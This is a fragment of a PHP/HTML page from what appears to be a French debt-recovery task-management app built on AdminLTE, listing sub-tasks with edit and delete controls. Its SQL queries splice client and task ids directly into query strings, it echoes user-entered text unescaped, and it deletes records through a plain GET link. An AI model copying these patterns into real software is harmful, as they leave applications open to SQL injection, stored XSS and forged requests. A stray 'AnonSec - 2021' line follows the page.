													<td style="text-align:center;"><?=int2date($ff['injonction'])?></td>







												</tr>
											<?php
											// }
												}

												echo '</tbody></table></div>';?>



										</div>
										</div>

										<?php
										list($nbr_tache)=dbi_fetch_row(dbi_query("SELECT count(tache_id) as nbr_tache  FROM `tache` WHERE `tache_recouvrement` = 1 and client_id =  $client_id ")) ;
										if($nbr_tache > 0 ){
										?>
										  <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-sousTACHE"></i> NOUVELLE ACTION</button>
										<?php }else{ ?>
		                      <button type="button" class="btn btn-primary" data-toggle="modal" data-target="#modal-tache"> NOUVELLE TACHE</button>
							       <?php }?>




									</div>



									<!-- le tableau qui s'affiche les sous tache de recouvrement -->
							<div class="card-body">
									  <table id="example1" class="table table-hover">
										<thead>
										<tr>
										  <th>TERMINEE</th>     		<!-- /.Table Client - Champs client_nom -->
										  <th colspan="8" >DESIGNATION</th>
										  <th></th>
											<th></th> 				  <!-- /.Table Client - Champs client_adr1 -->
											<!-- /.Table Client - Champs client_cp -->
										<th></th>
										<th></th>



										</tr>
										</thead>
										<tbody>
										<?php
											// puisque chaque client a une seule tache de type recouvrement donc on peut avoir l'id de cette tache
										list($tache_id)=dbi_fetch_row(dbi_query("SELECT tache_id  FROM `tache` WHERE `tache_recouvrement` = 1 and client_id =  $client_id ")) ;
									   if(!empty($tache_id)){
										$qa= dbi_query("SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`date_heure_creation_forma_date` DESC") ;
									   }
										// echo "SELECT * FROM `sous_tache` WHERE tache_id =  ".$tache_id." ORDER BY `sous_tache`.`sous_tache_date_fin` DESC" ;

										while($soustache=dbi_fetch_row($qa))
										{

							list($user_nom_crea, $user_prenom_crea)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id_creation'] ));
							$user_chaine_crea = $user_nom_crea." ".$user_prenom_crea ;

							list($user_nom, $user_prenom)= dbi_fetch_row( dbi_query(" SELECT user_nom , user_prenom  FROM `users` WHERE `user_id`  = ".$soustache['user_id'] ));

							$user_chaine = $user_nom." ".$user_prenom ;
							if($soustache['sous_tache_status']==0){
								$badge = 'badge-danger';
								$sous_tache_status="<span class='badge ".$badge."'> Non </span>" ;
								}
								else{

									$badge = 'badge-success';
								$sous_tache_status="<span class='badge ".$badge."'> Oui </span>" ;

									}
									// ."==>".$soustache['sous_tache_id']

											?>

											<tr>
										 <td><?=$sous_tache_status?></td>

										 <td colspan="8"><?="<strong>".$user_chaine_crea." : </strong> ".$soustache['sous_tache_designation'] ?></td>
										  <td><?= int2date(date2int_DSI($soustache['sous_tache_date_fin']))?></td>
											  <td><?=$user_chaine ?></td>

											<td align="center">

										   <?php echo '<a class="btn btn-info btn-sm" href="#myModal"  id="custId" data-toggle="modal" data-id="'.$soustache['sous_tache_id'].'"><i class="fas fa-pencil-alt"></i> </a>';?>

											  <a class="btn btn-danger btn-sm" href="cRvouvrement.php?sous_tache_id=<?=$soustache['sous_tache_id']?>&sup=1" onclick="return confirm('Voulez-vous vraiment supprimer ce sous tache ?');">

										 <i class="fas fa-trash"></i>

										   </a>
										   </td>
										  <td> <?= $soustache['date_heure_creation'] ?></td>

										</tr>

											<?php
										}
										?>




										</tbody>

									  </table>
							</div>








								</div>	 <!-- fin card -->
							</div>


						</div>
					</div>
				</div>

			</div>
				<!-- /.row -->
		</div><!-- /.container-fluid -->




	</div>


  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
    <div class="p-3">
      <h5>Title</h5>
      <p>Sidebar content</p>
    </div>
  </aside>
  <!-- /.control-sidebar -->
  <footer class="main-footer">
    <div class="float-right d-none d-sm-block">
      <b>Version</b> 3.0.1
    </div>
    <strong>Copyright &copy; 2014-2019 <a href="http://adminlte.io">AdminLTE.io</a>.</strong> All rights
    reserved.
  </footer>

  <!-- Control Sidebar -->
  <aside class="control-sidebar control-sidebar-dark">
    <!-- Control sidebar content goes here -->
  </aside>
  <!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->





<!-- jQuery -->
<script src="../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../plugins/datatables/jquery.dataTables.js"></script>
<script src="../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../dist/js/demo.js"></script>
<script>
  $(function () {
    // Summernote
    // $('.textarea').summernote()
  })
</script>

<script type="text/javascript">
$(document).ready(function(){
    $('#myModal').on('show.bs.modal', function (e) {
        var rowid = $(e.relatedTarget).data('id');
        $.ajax({
            type : 'post',
            url : 'jaxModifSousTache.php', //Here you will fetch records
            data :  'rowid='+ rowid, //Pass $id
            success : function(data){
            $('#fetch').html(data);//Show fetched data from database
            }
        });
     });
});


</script>
<script>




  $(document).ready(function(){
    // $('#myModal1').on('show.bs.modal', function (e) {
        // var rowid = $(e.relatedTarget).data('id');
		// alert(rowid);
        // $.ajax({
            // type : 'post',
            // url : 'AJAXINFOSFACTURATION.php', //Here you will fetch records
            // data :  'rowid='+ rowid, //Pass $id
            // success : function(data){
            // $('#fetch1').html(data);//Show fetched data from database
            // }
        // });
     // });

    // $('#myModal2').on('show.bs.modal', function (e) {
        // var rowid = $(e.relatedTarget).data('id');
        // $.ajax({
            // type : 'post',
            // url : 'AJAXSAISIRAVOIR.php', //Here you will fetch records
            // data :  'rowid='+ rowid, //Pass $id
            // success : function(data){
            // $('#fetch2').html(data);//Show fetched data from database
            // }
        // });
     // });

});

</script>

<script>
  $(function () {
    $("#example1").DataTable();
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
    });
  });
</script>

<script src="../plugins/select2/js/select2.full.min.js"></script>

<script>
  $(function () {
    //Initialize Select2 Elements
    $('.select2').select2()

    //Initialize Select2 Elements
    $('.select2bs4').select2({
      theme: 'bootstrap4'
    })
  })
</script>

</body>
</html>

AnonSec - 2021